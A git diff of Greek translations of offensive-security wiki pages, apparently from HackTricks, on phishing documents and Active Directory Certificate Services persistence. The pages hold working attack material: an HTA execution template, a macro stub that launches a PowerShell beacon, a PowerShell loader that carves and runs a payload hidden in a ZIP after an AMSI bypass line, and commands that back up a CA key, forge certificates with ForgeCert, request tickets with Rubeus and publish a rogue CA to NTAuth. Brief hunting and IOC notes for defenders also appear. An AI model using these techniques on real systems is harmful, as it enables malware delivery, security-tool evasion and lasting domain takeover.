|
||||
### Φόρτωση Εξωτερικής Εικόνας
|
||||
### Φόρτωση εξωτερικής εικόνας
|
||||
|
||||
Μεταβείτε σε: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Σύνδεσμοι και Αναφορές, **Filed names**: includePicture, και **Όνομα αρχείου ή URL**:_ http://<ip>/whatever
|
||||
Μεταβείτε στο: _Insert --> Quick Parts --> Field_\
|
||||
_**Categories**: Links and References, **Filed names**: includePicture, and **Filename or URL**:_ http://<ip>/whatever
|
||||
|
||||
.png>)
|
||||
|
||||
### Macros Backdoor
|
||||
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για να run arbitrary code από το έγγραφο.
|
||||
Είναι δυνατό να χρησιμοποιηθούν macros για να εκτελέσουν arbitrary code από το έγγραφο.
|
||||
|
||||
#### Autoload functions
|
||||
|
||||
@ -66,14 +66,14 @@ proc.Create "powershell <beacon line generated>
|
||||
```
|
||||
#### Αφαίρεση μεταδεδομένων χειροκίνητα
|
||||
|
||||
Πήγαινε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα εμφανίσει το Document Inspector. Κάνε κλικ στο **Inspect** και μετά στο **Remove All** δίπλα από τα **Document Properties and Personal Information**.
|
||||
Μεταβείτε στο **File > Info > Inspect Document > Inspect Document**, το οποίο θα ανοίξει το Document Inspector. Κάντε κλικ στο **Inspect** και στη συνέχεια **Remove All** δίπλα στο **Document Properties and Personal Information**.
|
||||
|
||||
#### Doc Extension
|
||||
#### Επέκταση αρχείου
|
||||
|
||||
Όταν τελειώσεις, επίλεξε το dropdown **Save as type**, άλλαξε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάνε αυτό επειδή **δεν μπορείς να αποθηκεύσεις μακροεντολές μέσα σε `.docx`** και υπάρχει ένα **στίγμα** **σχετικά** με την επέκταση ενεργοποιημένων μακροεντολών **`.docm`** (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και κάποια web/email gateway τα μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιά επέκταση `.doc` είναι ο καλύτερος συμβιβασμός**.
|
||||
Όταν τελειώσετε, επιλέξτε το αναπτυσσόμενο μενού **Save as type**, αλλάξτε τη μορφή από **`.docx`** σε **Word 97-2003 `.doc`**.\
|
||||
Κάντε αυτό επειδή **δεν μπορείτε να αποθηκεύσετε macro's μέσα σε ένα `.docx`** και υπάρχει ένα **στίγμα** γύρω από την macro-enabled **`.docm`** επέκταση (π.χ. το εικονίδιο μικρογραφίας έχει ένα τεράστιο `!` και ορισμένες web/email gateway το μπλοκάρουν εντελώς). Επομένως, αυτή η **παλαιού τύπου επέκταση `.doc` είναι ο καλύτερος συμβιβασμός**.
|
||||
|
||||
#### Malicious Macros Generators
|
||||
#### Δημιουργοί Κακόβουλων Macros
|
||||
|
||||
- MacOS
|
||||
- [**macphish**](https://github.com/cldrn/macphish)
|
||||
@ -81,9 +81,9 @@ proc.Create "powershell <beacon line generated>
|
||||
|
||||
## Αρχεία HTA
|
||||
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Δημιουργεί το περιβάλλον χρήστη και εκτελείται ως εφαρμογή «πλήρως αξιόπιστη», χωρίς τους περιορισμούς του μοντέλου ασφάλειας ενός browser.
|
||||
Ένα HTA είναι ένα πρόγραμμα Windows που **συνδυάζει HTML και scripting languages (όπως VBScript και JScript)**. Δημιουργεί το user interface και εκτελείται ως εφαρμογή "fully trusted", χωρίς τους περιορισμούς του μοντέλου ασφαλείας ενός browser.
|
||||
|
||||
Ένα HTA εκτελείται χρησιμοποιώντας **`mshta.exe`**, το οποίο συνήθως είναι **εγκατεστημένο** μαζί με τον **Internet Explorer**, καθιστώντας **`mshta` εξαρτώμενο από τον IE**. Έτσι, αν αυτός έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
Ένα HTA εκτελείται με χρήση του **`mshta.exe`**, το οποίο συνήθως είναι εγκατεστημένο μαζί με τον **Internet Explorer**, καθιστώντας το **`mshta` εξαρτώμενο από τον IE**. Οπότε, εάν έχει απεγκατασταθεί, τα HTA δεν θα μπορούν να εκτελεστούν.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## Εξαναγκασμός NTLM authentication
|
||||
## Εξαναγκασμός αυθεντικοποίησης NTLM
|
||||
|
||||
Υπάρχουν αρκετοί τρόποι να **εξαναγκάσετε NTLM authentication "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα προσπελάσει (ακόμη και HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **authentication** απλώς με το **άνοιγμα του φακέλου.**
|
||||
Υπάρχουν διάφοροι τρόποι για να **εξαναγκάσετε την αυθεντικοποίηση NTLM "απομακρυσμένα"**, για παράδειγμα, μπορείτε να προσθέσετε **αόρατες εικόνες** σε emails ή HTML που ο χρήστης θα προσπελάσει (ακόμα και HTTP MitM?). Ή να στείλετε στο θύμα τη **διεύθυνση αρχείων** που θα **προκαλέσει** μια **αυθεντικοποίηση** απλά με το **άνοιγμα του φακέλου.**
|
||||
|
||||
**Ελέγξτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
**Δείτε αυτές τις ιδέες και περισσότερα στις παρακάτω σελίδες:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
Μην ξεχνάτε ότι δεν μπορείτε μόνο να κλέψετε το hash ή την authentication αλλά και να **εκτελέσετε NTLM relay attacks**:
|
||||
Μην ξεχνάτε ότι μπορείτε όχι μόνο να κλέψετε το hash ή την αυθεντικοποίηση αλλά και να **εκτελέσετε NTLM relay attacks**:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
Οι ιδιαίτερα αποτελεσματικές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα παραπλανητικά έγγραφα (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader αποθηκεύεται μέσα στα raw bytes του ZIP μετά από ένα μοναδικό marker, και το .lnk τον εξάγει και τον τρέχει πλήρως στη μνήμη.
|
||||
Πολύ αποτελεσματικές καμπάνιες παραδίδουν ένα ZIP που περιέχει δύο νόμιμα δολώματα (PDF/DOCX) και ένα κακόβουλο .lnk. Το κόλπο είναι ότι ο πραγματικός PowerShell loader αποθηκεύεται μέσα στα raw bytes του ZIP μετά από έναν μοναδικό marker, και το .lnk το εξάγει και το τρέχει ολοκληρωτικά στη μνήμη.
|
||||
|
||||
Τυπική ροή που υλοποιείται από το .lnk PowerShell one-liner:
|
||||
|
||||
1) Εντοπίστε το αρχικό ZIP σε κοινές τοποθεσίες: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον parent of the current working directory.
|
||||
2) Διαβάστε τα ZIP bytes και βρείτε ένα hardcoded marker (π.χ., xFIQCV). Όλα όσα ακολουθούν το marker είναι το embedded PowerShell payload.
|
||||
3) Αντιγράψτε το ZIP στο %ProgramData%, εξάγετε εκεί, και ανοίξτε το decoy .docx για να φαίνεται νόμιμο.
|
||||
4) Παρακάμψτε το AMSI για τη τρέχουσα διαδικασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Deobfuscate το επόμενο στάδιο (π.χ., αφαιρέστε όλους τους χαρακτήρες #) και εκτελέστε το στη μνήμη.
|
||||
1) Εντοπίστε το αρχικό ZIP σε συνήθεις διαδρομές: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, και τον γονικό φάκελο του τρέχοντος working directory.
|
||||
2) Read the ZIP bytes and find a hardcoded marker (e.g., xFIQCV). Everything after the marker is the embedded PowerShell payload.
|
||||
3) Αντιγράψτε το ZIP σε %ProgramData%, αποσυμπιέστε το εκεί και ανοίξτε το δολωμένο .docx ώστε να φαίνεται νόμιμο.
|
||||
4) Παρακάμψτε το AMSI για τη τρέχουσα διαδικασία: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) Καθαρίστε (deobfuscate) το επόμενο στάδιο (π.χ., αφαιρέστε όλους τους χαρακτήρες '#') και εκτελέστε το στη μνήμη.
|
||||
|
||||
Παράδειγμα PowerShell skeleton για να carve και να τρέξετε το embedded στάδιο:
|
||||
Παράδειγμα PowerShell skeleton για να carve και να τρέξει το embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -191,7 +191,7 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
Invoke-Expression $code
|
||||
```
|
||||
Σημειώσεις
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστα υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να περιορίζει τα payloads (σερβίροντας benign ZIPs βάσει IP/UA).
|
||||
- Η παράδοση συχνά καταχράται αξιόπιστους υποτομείς PaaS (π.χ., *.herokuapp.com) και μπορεί να φιλτράρει τα payloads (σερβίροντας benign ZIPs με βάση IP/UA).
|
||||
- Το επόμενο στάδιο συχνά αποκρυπτογραφεί base64/XOR shellcode και το εκτελεί μέσω Reflection.Emit + VirtualAlloc για να ελαχιστοποιήσει τα ίχνη στο δίσκο.
|
||||
|
||||
Persistence που χρησιμοποιείται στην ίδια αλυσίδα
|
||||
@ -201,11 +201,20 @@ Persistence που χρησιμοποιείται στην ίδια αλυσίδ
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
Hunting/IOCs
|
||||
- ZIP αρχεία που περιέχουν την ASCII marker συμβολοσειρά (π.χ., xFIQCV) προσαρτημένη στα δεδομένα του αρχείου.
|
||||
- .lnk που απαριθμεί parent/user φακέλους για να εντοπίσει το ZIP και ανοίγει ένα decoy document.
|
||||
- AMSI παραποίηση μέσω [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνιες business threads που τελειώνουν με links hosted under trusted PaaS domains.
|
||||
Κυνηγητό/IOCs
|
||||
- ZIP αρχεία που περιέχουν το ASCII marker string (π.χ., xFIQCV) προσαρτημένο στα δεδομένα του αρχείου.
|
||||
- .lnk που απαριθμεί φακέλους γονέα/χρήστη για να εντοπίσει το ZIP και ανοίγει ένα ψεύτικο έγγραφο.
|
||||
- Παραποίηση AMSI μέσω [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Μακροχρόνια business threads που καταλήγουν σε links φιλοξενούμενα σε αξιόπιστους PaaS domains.
|
||||
|
||||
## Windows αρχεία για κλοπή NTLM hashes
|
||||
|
||||
Δείτε τη σελίδα για **places to steal NTLM creds**:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -1,27 +1,27 @@
|
||||
# AD CS Μόνιμη παραμονή στο Domain
|
||||
# AD CS Domain Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Αυτή είναι μια περίληψη των τεχνικών domain persistence που μοιράζονται στο [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Δείτε το για περισσότερες λεπτομέρειες.
|
||||
**Αυτή είναι μια περίληψη των τεχνικών διατήρησης στο domain που περιλαμβάνονται στο [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Δείτε το για περισσότερες λεπτομέρειες.
|
||||
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
## Πλαστογράφηση Πιστοποιητικών με Κλαπέντα Πιστοποιητικά CA - DPERSIST1
|
||||
|
||||
Πώς μπορείτε να καταλάβετε ότι ένα certificate είναι CA certificate;
|
||||
Πώς μπορείτε να γνωρίζετε ότι ένα πιστοποιητικό είναι πιστοποιητικό CA;
|
||||
|
||||
Μπορεί να καθοριστεί ότι ένα certificate είναι CA certificate εάν πληρούνται αρκετές προϋποθέσεις:
|
||||
Ένα πιστοποιητικό θεωρείται πιστοποιητικό CA αν πληρούνται διάφορες προϋποθέσεις:
|
||||
|
||||
- Το certificate αποθηκεύεται στον CA server, με το private key του να προστατεύεται από το DPAPI της μηχανής, ή από hardware όπως TPM/HSM εάν το λειτουργικό σύστημα το υποστηρίζει.
|
||||
- Τα πεδία Issuer και Subject του certificate ταιριάζουν με το distinguished name της CA.
|
||||
- Μια επέκταση "CA Version" υπάρχει αποκλειστικά στα CA certificates.
|
||||
- Το certificate δεν περιλαμβάνει πεδία Extended Key Usage (EKU).
|
||||
- Το πιστοποιητικό είναι αποθηκευμένο στον CA server, με το ιδιωτικό κλειδί προστατευμένο από το DPAPI του μηχανήματος, ή από hardware όπως TPM/HSM εάν το λειτουργικό σύστημα το υποστηρίζει.
|
||||
- Τα πεδία Issuer και Subject του πιστοποιητικού ταιριάζουν με το distinguished name του CA.
|
||||
- Υπάρχει επέκταση "CA Version" αποκλειστικά στα πιστοποιητικά CA.
|
||||
- Το πιστοποιητικό δεν περιέχει πεδία Extended Key Usage (EKU).
|
||||
|
||||
Για να εξαχθεί το private key αυτού του certificate, το εργαλείο `certsrv.msc` στον CA server είναι η υποστηριζόμενη μέθοδος μέσω του ενσωματωμένου GUI. Παρ' όλα αυτά, αυτό το certificate δεν διαφέρει από άλλα που είναι αποθηκευμένα στο σύστημα· επομένως μέθοδοι όπως η [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) μπορούν να εφαρμοστούν για την εξαγωγή.
|
||||
Για να εξαγάγετε το ιδιωτικό κλειδί αυτού του πιστοποιητικού, το εργαλείο `certsrv.msc` στον CA server είναι η υποστηριζόμενη μέθοδος μέσω του ενσωματωμένου GUI. Παρ' όλα αυτά, αυτό το πιστοποιητικό δεν διαφέρει από άλλα που είναι αποθηκευμένα στο σύστημα· επομένως, μπορούν να εφαρμοστούν μέθοδοι όπως η [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2) για την εξαγωγή.
|
||||
|
||||
Το certificate και το private key μπορούν επίσης να αποκτηθούν χρησιμοποιώντας Certipy με την ακόλουθη εντολή:
|
||||
Το πιστοποιητικό και το ιδιωτικό κλειδί μπορούν επίσης να ληφθούν χρησιμοποιώντας το Certipy με την ακόλουθη εντολή:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
Μετά την απόκτηση του πιστοποιητικού CA και του ιδιωτικού του κλειδιού σε μορφή `.pfx`, εργαλεία όπως το [ForgeCert](https://github.com/GhostPack/ForgeCert) μπορούν να χρησιμοποιηθούν για να δημιουργήσουν έγκυρα πιστοποιητικά:
|
||||
Αφού αποκτηθεί το πιστοποιητικό CA και το private key του σε μορφή `.pfx`, εργαλεία όπως το [ForgeCert](https://github.com/GhostPack/ForgeCert) μπορούν να χρησιμοποιηθούν για να δημιουργήσουν έγκυρα πιστοποιητικά:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -36,18 +36,19 @@ Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /pa
|
||||
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
```
|
||||
> [!WARNING]
|
||||
> Ο χρήστης που στοχεύεται για πλαστογράφηση πιστοποιητικού πρέπει να είναι ενεργός και ικανός να αυθεντικοποιηθεί στο Active Directory για να επιτύχει η διαδικασία. Η πλαστογράφηση πιστοποιητικού για ειδικούς λογαριασμούς όπως krbtgt είναι αναποτελεσματική.
|
||||
> Ο χρήστης που στοχεύεται για πλαστογράφηση πιστοποιητικού πρέπει να είναι ενεργός και ικανός να αυθεντικοποιηθεί στο Active Directory για να πετύχει η διαδικασία. Η πλαστογράφηση πιστοποιητικού για ειδικούς λογαριασμούς όπως krbtgt είναι αναποτελεσματική.
|
||||
|
||||
Αυτό το πλαστογραφημένο πιστοποιητικό θα είναι **έγκυρο** μέχρι την καθορισμένη ημερομηνία λήξης και όσο **το root CA πιστοποιητικό είναι έγκυρο** (συνήθως από 5 έως **10+ χρόνια**). Είναι επίσης έγκυρο για **μηχανήματα**, οπότε σε συνδυασμό με το **S4U2Self**, ένας επιτιθέμενος μπορεί να **διατηρήσει persistence σε οποιαδήποτε domain machine** για όσο το πιστοποιητικό CA είναι έγκυρο.\ Επιπλέον, τα **πιστοποιητικά που δημιουργούνται** με αυτή τη μέθοδο **δεν μπορούν να ανακληθούν**, καθώς η CA δεν είναι ενήμερη γι' αυτά.
|
||||
Αυτό το πλαστογραφημένο πιστοποιητικό θα είναι **έγκυρο** μέχρι την καθορισμένη ημερομηνία λήξης και όσο το ριζικό πιστοποιητικό CA είναι **έγκυρο** (συνήθως από 5 έως **10+ χρόνια**). Είναι επίσης έγκυρο για **μηχανήματα**, οπότε σε συνδυασμό με το **S4U2Self**, ένας επιτιθέμενος μπορεί να **διατηρήσει persistence σε οποιονδήποτε υπολογιστή του domain** για όσο το πιστοποιητικό CA είναι έγκυρο.\
|
||||
Επιπλέον, τα **πιστοποιητικά που παράγονται** με αυτή τη μέθοδο **δεν μπορούν να ανακληθούν**, καθώς η CA δεν τα γνωρίζει.
|
||||
|
||||
### Λειτουργία υπό την αυστηρή εφαρμογή αντιστοίχισης πιστοποιητικών (2025+)
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
|
||||
Από τις 11 Φεβρουαρίου 2025 (μετά την κυκλοφορία του KB5014754), οι domain controllers έχουν ως προεπιλογή το **Full Enforcement** για τις αντιστοιχίσεις πιστοποιητικών. Στην πράξη αυτό σημαίνει ότι τα πλαστογραφημένα πιστοποιητικά σας πρέπει είτε:
|
||||
Since February 11, 2025 (after KB5014754 rollout), domain controllers default to **Full Enforcement** for certificate mappings. Practically this means your forged certificates must either:
|
||||
|
||||
- Να περιέχουν μια ισχυρή σύνδεση με τον λογαριασμό-στόχο (για παράδειγμα, την SID security extension), ή
|
||||
- Να συνοδεύονται από μια ισχυρή, ρητή αντιστοίχιση στο αντικείμενο-στόχο μέσω του `altSecurityIdentities` attribute.
|
||||
- Να περιέχουν έναν ισχυρό σύνδεσμο με τον στοχευόμενο λογαριασμό (π.χ. την επέκταση ασφάλειας SID), ή
|
||||
- Να συνοδεύονται από μια ισχυρή, ρητή αντιστοίχιση στο attribute `altSecurityIdentities` του στοχευόμενου αντικειμένου.
|
||||
|
||||
Μια αξιόπιστη προσέγγιση για persistence είναι να δημιουργήσετε (mint) ένα πλαστογραφημένο πιστοποιητικό αλυσοδεμένο στην κλεμμένη Enterprise CA και στη συνέχεια να προσθέσετε μια ισχυρή, ρητή αντιστοίχιση στο victim principal:
|
||||
Μια αξιόπιστη προσέγγιση για persistence είναι να δημιουργήσετε ένα πλαστογραφημένο πιστοποιητικό συνδεδεμένο με την κλεμμένη Enterprise CA και στη συνέχεια να προσθέσετε μια ισχυρή ρητή αντιστοίχιση στον victim principal:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -55,17 +56,18 @@ $SerialR = '1200000000AC11000000002B' # serial in reversed byte
|
||||
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Σημειώσεις
|
||||
- Εάν μπορείτε να δημιουργήσετε forged certificates που περιλαμβάνουν την SID security extension, αυτά θα αντιστοιχούν implicit ακόμα και υπό Full Enforcement. Διαφορετικά, προτιμήστε explicit strong mappings. Δείτε [account-persistence](account-persistence.md) για περισσότερα σχετικά με explicit mappings.
|
||||
- Revocation δεν βοηθάει εδώ τους αμυνόμενους: τα forged certificates είναι άγνωστα στη CA database και επομένως δεν μπορούν να ανακληθούν.
|
||||
Notes
|
||||
- Εάν μπορείτε να δημιουργήσετε πλαστά πιστοποιητικά που περιλαμβάνουν την επέκταση ασφάλειας SID, αυτά θα αντιστοιχιστούν έμμεσα ακόμη και υπό Full Enforcement. Διαφορετικά, προτιμήστε ρητές ισχυρές αντιστοιχίσεις. Δείτε
|
||||
[account-persistence](account-persistence.md) για περισσότερα σχετικά με ρητές αντιστοιχίσεις.
|
||||
- Η ανάκληση δεν βοηθά τους υπερασπιστές εδώ: τα πλαστά πιστοποιητικά είναι άγνωστα στη βάση δεδομένων του CA και επομένως δεν μπορούν να ανακληθούν.
|
||||
|
||||
## Εμπιστοσύνη σε Rogue CA Certificates - DPERSIST2
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
|
||||
Το αντικείμενο `NTAuthCertificates` έχει οριστεί να περιέχει ένα ή περισσότερα **CA certificates** μέσα στο attribute `cacertificate`, το οποίο χρησιμοποιεί το Active Directory (AD). Η διαδικασία επαλήθευσης από τον **domain controller** ελέγχει το αντικείμενο `NTAuthCertificates` για μια εγγραφή που ταιριάζει με την **CA specified** στο πεδίο Issuer του πιστοποιητικού που εκτελεί την authentication. Η authentication προχωράει αν βρεθεί αντιστοιχία.
|
||||
Το αντικείμενο `NTAuthCertificates` ορίζεται να περιέχει ένα ή περισσότερα **πιστοποιητικά CA** στο χαρακτηριστικό `cacertificate`, το οποίο χρησιμοποιεί το Active Directory (AD). Η διαδικασία επαλήθευσης από τον **ελεγκτή τομέα** περιλαμβάνει τον έλεγχο του αντικειμένου `NTAuthCertificates` για μια εγγραφή που ταιριάζει με την **CA που αναφέρεται** στο πεδίο Issuer του πιστοποιητικού που πραγματοποιεί την πιστοποίηση. Η αυθεντικοποίηση προχωρά εάν βρεθεί ταύτιση.
|
||||
|
||||
Ένα self-signed CA πιστοποιητικό μπορεί να προστεθεί στο αντικείμενο `NTAuthCertificates` από έναν επιτιθέμενο, εφόσον έχει έλεγχο πάνω σε αυτό το AD object. Κανονικά, μόνο μέλη της ομάδας **Enterprise Admin**, μαζί με **Domain Admins** ή **Administrators** στο **forest root’s domain**, έχουν άδεια να τροποποιήσουν αυτό το αντικείμενο. Μπορούν να επεξεργαστούν το αντικείμενο `NTAuthCertificates` χρησιμοποιώντας `certutil.exe` με την εντολή `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ή χρησιμοποιώντας το [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
Ένα self-signed CA certificate μπορεί να προστεθεί στο αντικείμενο `NTAuthCertificates` από έναν επιτιθέμενο, εφόσον έχει έλεγχο πάνω σε αυτό το AD αντικείμενο. Κανονικά, μόνο μέλη της ομάδας **Enterprise Admin**, μαζί με **Domain Admins** ή **Administrators** στον **forest root’s domain**, έχουν άδεια να τροποποιήσουν αυτό το αντικείμενο. Μπορούν να επεξεργαστούν το αντικείμενο `NTAuthCertificates` χρησιμοποιώντας `certutil.exe` με την εντολή `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, ή χρησιμοποιώντας το [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
|
||||
Επιπλέον χρήσιμες εντολές για αυτή την τεχνική:
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
# Add/remove and inspect the Enterprise NTAuth store
|
||||
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
|
||||
@ -76,34 +78,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
Αυτή η ικανότητα είναι ιδιαίτερα σχετική όταν χρησιμοποιείται σε συνδυασμό με μια προηγουμένως περιγραφείσα μέθοδο που περιλαμβάνει το ForgeCert για δυναμική δημιουργία πιστοποιητικών.
|
||||
Αυτή η δυνατότητα είναι ιδιαίτερα σχετική όταν χρησιμοποιείται σε συνδυασμό με μια προηγουμένως περιγραφείσα μέθοδο που περιλαμβάνει το ForgeCert για δυναμική δημιουργία πιστοποιητικών.
|
||||
|
||||
> Post-2025 mapping considerations: η προσθήκη ενός rogue CA στο NTAuth καθιερώνει μόνο την εμπιστοσύνη στην issuing CA. Για να χρησιμοποιηθούν leaf certificates για logon όταν οι DCs βρίσκονται σε **Full Enforcement**, το leaf πρέπει είτε να περιέχει την επέκταση SID security είτε να υπάρχει ισχυρός ρητός mapping στο αντικείμενο-στόχο (π.χ. Issuer+Serial στο `altSecurityIdentities`). Δείτε {{#ref}}account-persistence.md{{#endref}}.
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
|
||||
## Malicious Misconfiguration - DPERSIST3
|
||||
|
||||
Οι ευκαιρίες για **persistence** μέσω **τροποποιήσεων security descriptor σε στοιχεία του AD CS** είναι πολλές. Τροποποιήσεις που περιγράφονται στην ενότητα "[Domain Escalation](domain-escalation.md)" μπορούν να υλοποιηθούν κακόβουλα από έναν attacker με elevated access. Αυτό περιλαμβάνει την προσθήκη "control rights" (π.χ., WriteOwner/WriteDACL/etc.) σε ευαίσθητα στοιχεία όπως:
|
||||
Οι ευκαιρίες για **persistence** μέσω **security descriptor modifications of AD CS** components είναι άφθονες. Οι τροποποιήσεις που περιγράφονται στην "[Domain Escalation](domain-escalation.md)" ενότητα μπορούν να υλοποιηθούν κακόβουλα από έναν attacker με αυξημένη πρόσβαση. Αυτό περιλαμβάνει την προσθήκη "control rights" (π.χ., WriteOwner/WriteDACL/etc.) σε ευαίσθητα components όπως:
|
||||
|
||||
- Το **CA server’s AD computer** object
|
||||
- Τον **CA server’s RPC/DCOM server**
|
||||
- Το αντικείμενο **AD computer** του CA server
|
||||
- Ο **RPC/DCOM server** του CA server
|
||||
- Οποιοδήποτε **descendant AD object or container** στο **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** (για παράδειγμα, το Certificate Templates container, το Certification Authorities container, το NTAuthCertificates object, κ.λπ.)
|
||||
- **AD groups delegated rights to control AD CS** από προεπιλογή ή από την οργάνωση (όπως το built-in Cert Publishers group και οποιοδήποτε από τα μέλη του)
|
||||
- **AD groups delegated rights to control AD CS** είτε από προεπιλογή είτε από τον οργανισμό (όπως η built-in Cert Publishers group και οποιοδήποτε από τα μέλη της)
|
||||
|
||||
Ένα παράδειγμα κακόβουλης υλοποίησης θα περιλάμβανε έναν attacker, που έχει **elevated permissions** στο domain, να προσθέτει το δικαίωμα **`WriteOwner`** στο default πρότυπο πιστοποιητικού **`User`**, με τον attacker να είναι ο principal για το δικαίωμα. Για να το εκμεταλλευτεί, ο attacker πρώτα θα άλλαζε την ιδιοκτησία του template **`User`** στον εαυτό του. Στη συνέχεια, η τιμή **mspki-certificate-name-flag** θα οριζόταν σε **1** στο template για να ενεργοποιηθεί το **`ENROLLEE_SUPPLIES_SUBJECT`**, επιτρέποντας σε έναν user να παρέχει Subject Alternative Name στο request. Κατόπιν, ο attacker θα μπορούσε να **enroll** χρησιμοποιώντας το **template**, επιλέγοντας ένα όνομα **domain administrator** ως alternative name, και να χρησιμοποιήσει το αποκτηθέν πιστοποιητικό για authentication ως ο DA.
|
||||
Ένα παράδειγμα κακόβουλης υλοποίησης θα περιελάμβανε έναν attacker, ο οποίος έχει **elevated permissions** στο domain, να προσθέτει την άδεια **`WriteOwner`** στο προεπιλεγμένο certificate template **`User`**, με τον attacker να είναι ο principal για το δικαίωμα. Για να το εκμεταλλευτεί, ο attacker πρώτα θα άλλαζε την ιδιοκτησία του template **`User`** στον εαυτό του. Έπειτα, το **`mspki-certificate-name-flag`** θα οριζόταν σε **1** στο template για να ενεργοποιηθεί το **`ENROLLEE_SUPPLIES_SUBJECT`**, επιτρέποντας σε έναν χρήστη να παρέχει ένα Subject Alternative Name στο request. Στη συνέχεια, ο attacker θα μπορούσε να **enroll** χρησιμοποιώντας το **template**, επιλέγοντας ένα όνομα **domain administrator** ως alternative name, και να χρησιμοποιήσει το αποκτηθέν certificate για authentication ως DA.
|
||||
|
||||
Πρακτικά χειριστήρια που μπορεί να ρυθμίσουν οι attackers για μακροχρόνια domain persistence (βλέπε {{#ref}}domain-escalation.md{{#endref}} για πλήρεις λεπτομέρειες και detection):
|
||||
